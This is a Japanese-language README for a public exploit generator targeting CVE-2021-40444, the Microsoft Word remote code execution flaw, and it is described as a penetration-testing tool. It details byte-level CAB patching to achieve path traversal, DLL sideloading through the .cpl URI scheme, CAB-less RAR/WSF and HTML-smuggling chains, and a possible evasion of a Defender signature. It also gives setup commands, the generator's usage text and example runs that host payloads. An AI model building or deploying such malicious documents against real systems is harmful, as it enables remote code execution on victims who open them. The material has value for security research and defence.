
CVE-2021-40444(Microsoft Office Word RCE)を悪用する悪意のあるDOCXジェネレーター。CABベースのDLLサイドローディングとCABレスRAR/WSF攻撃チェーンをペネトレーションテスト用に使用。
CVE-2021-40444(Microsoft Office Word リモートコード実行)を悪用する悪意のある docx ジェネレーター。任意の DLL ファイルで動作します。
多くの PoC がすでにインターネット上に存在しますが、この脆弱性を武器化するために自分自身で試してみることにしました。見つけた既存のものには共有する価値のある有益な情報が不足していたためです。また、Microsoft がこの脆弱性に対するパッチをすでにリリースしていることも考慮しました。
これまでのところ、完全に動作するジェネレーターを作成するために価値のあるリソースは次のとおりです:
上記のリソースには、完全なチェーンを作成するために必要な要件の多くが記載されています。不必要な情報を繰り返すのを避けるため、関連する詳細を要約します。
このエクスプロイトを機能させるためには、かなりの数の見落とされがちな要件があります。そのため、lockedbyte による PoC のような優れた PoC でさえ正常に動作しないことがありました。
おそらく、脆弱性がさらに悪用されるのを避けるために、誰も明示的に「公開」しなかったのでしょう。しかし現在はパッチが適用されているため、詳細を公開しても大きな問題にはならないはずです。
Will Dormann によるこの ツイート にあるように、MS Word 内で「プレビュー」をトリガーするには、HTML は少なくとも 4096 バイトのサイズである必要があります。
CAB ファイルは、抽出エラーを回避し ZipSlip を達成するためにバイト単位でパッチを適用する必要があります:
filename.inf は ../filename.inf にする必要がありますfilename.inf coffCabStart を変更することですCFFOLDER.typeCompress CFFOLDER.coffCabStart は('../' の追加により)3 増やす必要がありますCFFOLDER.cCfData CFFILE.cbFile は CFHEADER.cbCabinet 全体よりも大きくする必要がありますCFDATA.csum これらの制約の理由は多く、すべてを深く理解するのに十分な時間を費やしていませんが、最も重要なものを見てみましょう:
注1: Defender は現在、_IMAGE_DOS_HEADER.e_magic 値をシグネチャとして使用して CAB ファイルに PE が含まれているかどうかを検出するため、PE ファイルが CAB に埋め込まれるのを防ぐ可能性があります。このシグネチャは回避できるでしょうか?
確かなことはわかりませんが、前述のようにこれはパッチ適用済みの脆弱性であるため、これ以上時間を費やすつもりはありません。さらに発展させるかは好奇心旺盛な読者次第です。
注2: Microsoft のパッチは、任意の URI スキームをブロックします。おそらくブラックリスト方式を使用しています(これは単なる推測です)
CVE-2021-40444 に関連する主な攻撃チェーンは、.cpl URI スキームを介してロードされる DLL 攻撃です。これを悪用するには、攻撃者は特別に細工された DLL を生成する必要があります。テストしてみたい場合は、私の evildll-gen スクリプトを試してください。
Max Maluin が指摘したように、IE と関連するファイル拡張子ベースの URI を悪用して、いくつかのファイルタイプと対話することが可能です。これは IE を悪用する良い方法かもしれませんが、制限があります。
実際、エクスプロイトでファイルをダウンロードするために使用される方法は ActiveX コントロールの更新に基づいており、任意のファイルをダウンロードするために使用することはできません。
Microsoft の ドキュメント によると、codebase タグが指すことができるファイルタイプはわずかです: OCX、INF、CAB。
OCX または INF ファイルを直接ダウンロードできたとしても、ファイルをシステム内の正しい場所にダウンロードできるとは限りません。CAB エクスプロイトでは、パストラバーサルを使用して .inf ファイルを既知のパスに移動できますが、それ以外の場合はファイルはランダムなディレクトリに保存されるため、実質的に参照することは不可能です。
今日の時点で、CAB ファイルなしでダウンロードと実行をチェーンする方法は見つけていません。
注: IE だけに限って言えば、HTML スムグリングはこの脆弱性を悪用する可能なシナリオです。
この技術は、Eduardo Braun によって Twitter で初めて公開され、この ペーパーでさらに説明されました。
この技術を使用する場合、攻撃チェーンが少し異なることに注意してください。この攻撃では、ユーザーが特別に細工された RAR ファイルをダウンロードする必要があります。これは、有効な WSF スクリプトと有効な RAR ファイルを連結して得られます。開かれると、RAR には HTML への参照を含む DOCX が含まれており、HTML は RAR ファイルを WSF スクリプトとしてロードしようとします。
要約すると:
ジェネレーターユーティリティは現在、次の攻撃を再現できます:
1一部の環境では CAB が正しくダウンロードされません
2IE でファイルをダウンロードするには、ユーザーが「保存」をクリックする必要があります
cab_parser.py ユーティリティは、エクスプロイトファイルのヘッダーを表示するために使用できますが、これを完全なパーサーとは考えないでください。これは、何が起こっているのかを理解するために開発した、非常に迅速で粗雑な CAB ヘッダービューアです。
ジェネレーターは、makecab ユーティリティを使用するため、Windows で動作するように設計されています。使用前に、必要な依存関係をインストールしてください:
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install virtualenv
python -m virtualenv venv
venv\Scripts\activate.bat
pip install -r requirements
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install -r requirements
ジェネレーターの使用は簡単ですが、さまざまなペイロードと Windows バージョンでテストされていますが、完全に確実というわけではありません。Windows ビルドによって動作が異なるのを確認しています。共有できる詳細がわかり次第、ここに投稿します。
usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-c COPY_TO] [-nc] [-t]
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
optional arguments:
-h, --help show this help message and exit
-P PAYLOAD, --payload PAYLOAD
DLL payload to use for the exploit
-u URL, --url URL Server URL for malicious references (CAB->INF)
-o OUTPUT, --output OUTPUT
Output files basename (no extension)
--host If set, will host the payload after creation
-c COPY_TO, --copy-to COPY_TO
Copy payload to an alternate path
-nc, --no-cab Use the CAB-less version of the exploit
-t, --test Open IExplorer to test the final HTML file
python generator.py -u http://127.0.0.1 -P test\calc.dll --host
注: ポートは URL によって選択され、エクスプロイトはペイロードファイルの拡張子に基づいて生成されます
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
| 攻撃 | HTML テンプレート | ターゲット | 配信方法 | 実行方法 | 動作 |
|---|
| 攻撃のオリジナルバージョン | cab-orig-* | WORD | DOCX | CAB + DLL | YES |
| j00sean の IE のみの攻撃 | cab-orig-j00san | IE | HTML | CAB + DLL | YES |
| DLL なしの私のバージョン | cab-uri-* | WORD | DOCX | CAB + JS/VBS | NO1 |
| RAR を使用した Eduardo B. の "CABless" 攻撃 | cabless-rar-* | WORD | RAR | WSF | YES |
| 変更した j00sean 攻撃 + HTML スムグリング | cabless-smuggling-* | IE | HTML | JS/VBS | YES2 |